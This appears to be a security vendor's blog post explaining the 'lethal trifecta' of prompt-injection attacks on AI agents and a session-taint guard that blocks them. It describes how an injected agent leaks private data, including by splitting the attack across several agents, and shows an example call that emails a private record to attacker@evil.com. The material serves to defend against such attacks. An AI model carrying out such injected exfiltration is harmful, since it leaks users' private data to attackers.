Detecting the Lethal Trifecta: Stopping Injection-to-Exfiltration Before the Data Leaves

Every serious AI-agent breach follows the same shape. The agent reads something private. The agent reads something an attacker controls. The agent has a way to send data out. Simon Willison named this combination the lethal trifecta: private data + untrusted content + an exfiltration channel. When all three meet in one session, a prompt injection stops being a curiosity and becomes a data breach.

This is not a niche concern. OWASP's Top 10 for LLM Applications (2025) puts Prompt Injection at LLM01, Sensitive Information Disclosure at LLM02, and Excessive Agency at LLM06 — the trifecta is precisely what happens when those three risks compose. And with Gartner projecting that more than 80% of enterprises will have deployed generative-AI applications by 2026, the population of agents holding all three legs grows every quarter.

Why point-in-time filters can't see it

Here is the uncomfortable part: every individual step of a trifecta attack looks legitimate.

A prompt filter inspects step 2 and sees a URL fetch. A tool allow-list inspects step 3 and sees an email tool the agent is supposed to have. No single call is anomalous — the attack only exists as a property of the session. Detecting it requires memory: what has this conversation already touched?

How InferenceFort detects it: session taint

InferenceFort classifies every tool an agent exposes into capability classes — exfil-capable, private-data, untrusted-content — using tenant-defined patterns, built-in heuristics, and an LLM classifier whose verdicts are reviewable: an admin can inspect each tool's tags in the dashboard and pin or correct them, and a pinned review is never silently reclassified.

At runtime, each governed tool call adds its capability legs to a taint set keyed to the session — namespaced by (customer_id, thread_id), so two tenants sharing infrastructure can never merge taint. The guard then enforces one rule:

# steps 1 + 2 ran normally — each was individually legitimate
try:
    send_email(to="attacker@evil.com", body=record)
except PolicyViolation as e:
    print(e)  # lethal trifecta: session touched private data + untrusted content;
              # exfiltration-capable tool blocked

Because classification and state live in-process, the decision happens before the call leaves the agent — there is no window where the data is already on the wire while a remote scanner deliberates. Teams that prefer observation over enforcement can set the guard to flag instead of block; the verdict, the accumulated capability set, and the triggering tool land in the audit event either way, and the dashboard renders a trifecta banner on the exact span that would have exfiltrated.

Multi-agent systems: taint that crosses processes

Modern agent systems fan work out — a supervisor delegates to researchers over queues, MCP servers, HTTP. If each process kept its own taint memory, an attacker could split the trifecta across agents: agent A reads the record, agent B fetches the poisoned page, agent C sends the email, and no single process ever saw all three legs.

InferenceFort's shared-taint mode closes this: each leg is merged through a shared session store keyed by the same (customer_id, thread_id), so agent C's exfil check sees what A and B touched — across processes, and across languages (a Python supervisor and a TypeScript worker share one session). The decision still happens in-process, at the agent about to exfiltrate.

Why regulators will ask you about this

• EU AI Act — Article 12 requires high-risk AI systems to support "automatic recording of events (logs) over the lifetime of the system" precisely so risk situations can be identified and traced. A trifecta verdict — with the capability set that triggered it — is that record for the injection-to-exfiltration risk. The regulation carries penalties up to €35M or 7% of global turnover.
• Healthcare — the HIPAA Security Rule's audit-control standard (45 CFR §164.312(b)) requires mechanisms that "record and examine activity" in systems containing ePHI. An agent whose tools reach patient data is such a system; the taint trail shows exactly when PHI met untrusted content.
• Defense — NIST SP 800-171 (the control baseline behind CMMC) demands audit records that trace actions to individuals and flow-control over CUI. A blocked exfil attempt with full session context is the strongest possible answer to "show us your data-flow enforcement."

MITRE ATLAS catalogs these adversarial patterns; the trifecta guard is the runtime control that turns the catalog entry into a blocked event instead of an incident report. For the broader attack taxonomy, see our prompt-injection deep dive and data-exfiltration guide.